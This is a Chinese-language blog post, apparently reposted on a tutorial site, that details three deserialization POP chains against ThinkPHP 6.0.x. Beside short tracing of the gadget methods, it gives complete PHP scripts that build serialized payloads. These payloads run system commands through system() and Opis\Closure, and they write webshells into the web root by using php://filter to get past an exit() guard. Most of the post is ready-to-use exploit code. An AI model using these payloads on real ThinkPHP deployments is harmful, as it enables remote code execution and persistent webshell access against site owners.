1. 程式人生 > 實用技巧 >thinkphp 6.0.x pop鏈

thinkphp 6.0.x pop鏈

pop1

thinkphp v5.2.x 反序列化利用鏈挖掘
thinkphp v6.0.x 反序列化利用鏈挖掘

think\Model->__destruct()

/vendor/topthink/think-orm/src/Model.php

__destruct()
$this->save()
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
$allowFields = $this->checkAllowFields();
$query = $this->db();

終於看到字串拼接

$query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);

think\model\concern\Conversion->__toString()

vendor/topthink/think-orm/src/model/concern/Conversion.php

__toString()
$this->toJson()
json_encode($this->toArray(), $options);

elseif (!isset($this->hidden[$key]) && !$hasVisible) {
    $item[$key] = $this->getAttr($key);
}

return $this->getValue($name, $value, $relation);

$value   = $closure($value, $this->data);

可以動態呼叫函式,但是引數是有限制的,接下來一種方法是找能用的php函式,一種是利用\Opis\Closure呼叫匿名函式

method1

system函式可以傳遞兩個引數,第二個引數接收外部命令執行後的返回狀態,不會影響執行,所以可以直接getshell

<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data = ["sy1j" => "dir"];
    private $withAttr = ["sy1j" => "system"];
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';

}

namespace think\model;
use think\Model;

class Pivot extends Model
{
    function __construct($obj = '')
    {
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(base64_encode(serialize($b)));

method2

\Opis\Closure可用於序列化匿名函式,使得匿名函式同樣可以進行序列化操作。這意味著我們可以序列化一個匿名函式,然後交由上述的$closure($value, $this->data)呼叫執行。

<?php

namespace Opis\Closure;
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/SerializableClosure.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureScope.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ReflectionClosure.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureStream.php";


namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data = ["sy1j" => "dir"];
    private $withAttr;
    public function setAttr($closure){
        $this->withAttr = $closure;
    }
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';

}

namespace think\model;
use think\Model;

class Pivot extends Model
{
    function __construct($obj = '', $closure="system")
    {
        $this->name = $obj;
        $this->setAttr(["sy1j"=>$closure]);
    }
}
$a = new Pivot();
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$b = new Pivot($a, $closure);

echo urlencode(base64_encode(serialize($b)));

pop2

ThinkPHP 6.x反序列化POP鏈(二)

League\Flysystem\Cached\Storage\AbstractCache->__destruct

public function __destruct()
{
    if (! $this->autosave) {
        $this->save();
    }
}

因為是抽象類,所以要find usages,找到think\filesystem\CacheStore

public function save()
{
    $contents = $this->getForStorage();

    $this->store->set($this->key, $contents, $this->expire);
}

store可控,可以走__call,也可以直接找實現set方法的類,找到think\cache\driver\File->set()

$data = $this->serialize($value);

serialize函式可以直接利用

protected function serialize($data): string
{
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this->options['serialize'][0] ?? "serialize";

    return $serialize($data);
}

不過最$data的來源是$value$value來自CacheStore->save()裡的$content,如下得到,所以內容是經過了json_encode

public function getForStorage()
{
    $cleaned = $this->cleanContents($this->cache);

    return json_encode([$cleaned, $this->complete]);
}

要執行命令必須使用反引號或者windows下&

exp

<?php

namespace League\Flysystem\Cached\Storage {
    abstract class AbstractCache
    {
        protected $autosave = false;
//        protected $complete = "`id`";
        protected $complete = "\"&dir&";
// 在Windows環境中反引號無效,用&替代
    }
}

namespace think\filesystem {

    use League\Flysystem\Cached\Storage\AbstractCache;

    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store = "")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache {
    abstract class Driver
    {
        protected $options = ["serialize" => ["system"], "expire" => 1, "prefix" => "1", "hash_type" => "sha256", "cache_subdir" => "1", "path" => "1"];
    }
}

namespace think\cache\driver {

    use think\cache\Driver;

    class File extends Driver
    {
    }
}

namespace {
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo base64_encode(serialize($cache));
}
?>

寫shell

也可以再往下走兩行,會有

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

經典“死亡exit”,比較簡單的,偽協議繞繞就行了,最後檔名是$key的md5

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
    }
}
namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;
        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}
namespace think\cache{
    abstract class Driver
    {
        protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=d:/xampp/htdocs/tp6/public/","data_compress"=>0];
    }
}
// 路徑最好寫成絕對路徑
namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}
namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo base64_encode(serialize($cache));
}
?>

pop3

和上面差不多,寫shell

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $cache = ["<?php phpinfo(); ?>"];
    }

    class Adapter extends AbstractCache
    {
        protected $file;
        protected $adapter;
        protected $expire;
        public function __construct($adapter="")
        {
            $this->file = "d:/xampp/htdocs/tp6/public/shell.php";
// 需要根據系統以及配置修改路徑寫法
            $this->adapter = $adapter;
        }
    }
}
namespace League\Flysystem\Adapter{
    class Local
    {
        protected $writeFlags = 0;
    }
}
namespace{
    $local = new League\Flysystem\Adapter\Local();
    $cache = new League\Flysystem\Cached\Storage\Adapter($local);
    echo urlencode(base64_encode(serialize($cache)));
//    echo serialize($cache);
}
?>